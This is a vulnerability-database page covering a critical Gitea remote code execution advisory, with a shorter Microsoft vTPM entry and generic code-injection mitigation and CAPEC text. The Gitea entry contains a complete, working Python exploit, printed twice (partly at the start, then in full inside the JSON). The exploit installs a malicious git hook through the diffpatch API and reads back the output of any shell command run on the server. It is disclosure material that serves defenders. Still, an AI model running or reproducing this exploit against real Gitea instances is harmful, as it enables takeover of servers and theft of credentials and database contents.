        return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)

def split_output(raw: bytes) -> tuple[str, int | None]:
    text  = raw.decode("utf-8", errors="replace")
    lines = text.splitlines()
    status: int | None = None
    if lines:
        t = lines[-1].strip()
        if t.startswith("[exit-status=") and t.endswith("]"):
            try:    status = int(t[len("[exit-status="):-1])
            except ValueError: pass
            else:   lines.pop()
    return "\n".join(lines).rstrip("\n"), status


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Gitea RCE PoC")
    p.add_argument("url",      help="Gitea base URL")
    p.add_argument("username", help="existing Gitea username")
    p.add_argument("command",  help="shell command to execute on target")
    return p.parse_args()


def main() -> int:
    args = parse_args()
    if "\0" in args.command:
        raise PocError("command must not contain a NUL character")

    password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
        _g("[?]") + " password: "
    )
    if not password:
        raise PocError("password must not be empty")

    git = shutil.which("git")
    if git is None:
        raise PocError("git executable not found in PATH")

    client = GiteaClient(args.url, args.username, password)

    # version probe (pre-banner)
    log_star("probing target...")
    version: str | None = None
    try:
        r = urllib.request.Request(
            client.base_url + "/api/v1/version",
            headers={"Accept": "application/json", "User-Agent": USER_AGENT},
        )
        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
            version = json.loads(resp.read()).get("version", "unknown")
    except Exception:
        version = "unknown"
    print_banner(client.base_url, version, args.command)

    log_star(f"target={client.base_url}  user={args.username}  cmd={args.command}")
    print()

    # step 1 – authenticate
    log_star("authenticating...")
    sc, acct = client.api("GET", "/api/v1/user")
    if sc != 200 or not isinstance(acct, dict):
        log_err("authentication failed"); raise PocError("auth failed")
    owner = acct.get("login")
    if not isinstance(owner, str) or not owner:
        log_err("no login in response"); raise PocError("no login")
    log_ok(f"logged in as {owner}  ({version})")

    # step 2 – create repo
    unique   = secrets.token_hex(5)
    repo     = f"test-repo-{unique}"
    leak_ref = f"output-{unique}"
    log_star("creating repository...")
    sc, _ = client.api("POST", "/api/v1/user/repos", {
        "name": repo, "private": True,
        "auto_init": True, "default_branch": "main",
        "object_format_name": "sha1",
    })
    if sc != 201:
        log_err("repo creation failed"); raise PocError("repo creation failed")
    log_ok(f"created repo {owner}/{repo}")

    # steps 3–4 – deliver payloads
    body = {
        "content": build_patch(build_hook(args.command, leak_ref)),
        "message": "initial commit",
        "branch": "main", "new_branch": "main",
    }
    ep = (
        f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
        f"{urllib.parse.quote(repo, safe='')}/diffpatch"
    )
    commits: list[str] = []
    for cycle in (1, 2):
        log_star(f"delivering payload {cycle}/2...")
        sc, resp = client.api("POST", ep, body)
        try:
            commit = resp["commit"]["sha"]
        except (KeyError, TypeError) as exc:
            log_err(f"payload {cycle}/2 rejected")
            raise PocError(f"cycle {cycle} no commit") from exc
        if sc != 201:
            log_err(f"payload {cycle}/2 failed")
            raise PocError(f"cycle {cycle} failed")
        commits.append(commit)
        log_ok(f"payload {cycle}/2 accepted  commit={commit[:16]}")

    # step 5 – retrieve output
    log_star("retrieving output...")
    output = fetch_output(git, client, owner, repo, leak_ref)
    log_ok("operation complete")

    # command output
    cmd_out, exit_status = split_output(output)
    print()
    log_ok(f"{args.command}:")
    print(_g("---"))
    if cmd_out:
        for line in cmd_out.splitlines():
            print(_g(line))
    else:
        print(_d("<no output>"))
    print(_g("---"))
    if exit_status == 0:
        log_ok(f"exit status: {exit_status}")
    elif exit_status is None:
        log_star("exit status: unknown")
    else:
        log_err(f"exit status: {exit_status}")

    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except PocError as exc:
        log_err(str(exc))
        raise SystemExit(1) from None

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitea.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.17.0"
            },
            {
              "fixed": "1.27.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T17:56:30Z",
    "nvd_published_at": "2026-08-26T20:17:56Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nGitea\u0027s `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git\u0027s three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook\u0027s return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD=\u0027account-password\u0027\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  \u0027id; uname -srm; pwd\u0027\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command\u0027s combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n\u003cimg width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" /\u003e\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC \u2013 authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -\u003e str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -\u003e str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -\u003e str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -\u003e None: print(f\"{_g(\u0027[*]\u0027)} {_d(msg)}\")\ndef log_ok  (msg: str) -\u003e None: print(f\"{_g(\u0027[+]\u0027)} {_g(msg)}\")\ndef log_err (msg: str) -\u003e None: print(f\"{_r(\u0027[-]\u0027)} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"\u2550\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -\u003e None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -\u003e None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -\u003e tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} \u2192 HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -\u003e str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -\u003e bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        \u0027git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n\u0027\n        \u0027origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n\u0027\n        \u0027case \"$origin_objects\" in\\n\u0027\n        \u0027  /*) ;;\\n\u0027\n        \u0027  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n\u0027\n        \"esac\\n\"\n        \u0027origin_git=${origin_objects%/objects}\\n\u0027\n        \u0027[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n\u0027\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        \u0027command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2\u003e\u00261 | \u0027\n        \u0027git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n\u0027\n        \u0027tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | \u0027\n        \u0027git --git-dir=\"$origin_git\" mktree) || exit 5\\n\u0027\n        \u0027commit=$(printf \"command output\\\\n\" | \u0027\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        \u0027git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n\u0027\n        f\u0027git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n\u0027\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -\u003e str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {\u00270\u0027*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -\u003e bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -\u003e bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe=\u0027\u0027)}/\"\n        f\"{urllib.parse.quote(repo, safe=\u0027\u0027)}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -\u003e tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 \u2013 authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 \u2013 create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3\u20134 \u2013 deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe=\u0027\u0027)}/\"\n        f\"{urllib.parse.quote(repo, safe=\u0027\u0027)}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 \u2013 retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"\u003cno output\u003e\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```",
  "id": "GHSA-rcr6-4jqh-j84m",
  "modified": "2026-09-08T17:56:30Z",
  "published": "2026-09-08T17:56:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.27.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xBlackash/CVE-2026-60004"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.1"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
    },
    {
      "type": "WEB",
      "url": "https://www.runzero.com/blog/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Remote Code Execution via diffpatch Git Hook Installation"
}

GHSA-RCW5-8JM2-J9F9

Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2024-04-04 08:32

Details

Microsoft Virtual Trusted Platform Module Remote Code Execution Vulnerability

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [],
  "aliases": [
    "CVE-2023-36718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-10T18:15:16Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Virtual Trusted Platform Module Remote Code Execution Vulnerability",
  "id": "GHSA-rcw5-8jm2-j9f9",
  "modified": "2024-04-04T08:32:04Z",
  "published": "2023-10-10T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36718"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36718"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation MIT-5

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Mitigation

Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32

Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32

Operation

Strategy: Environment Hardening

Mitigation

Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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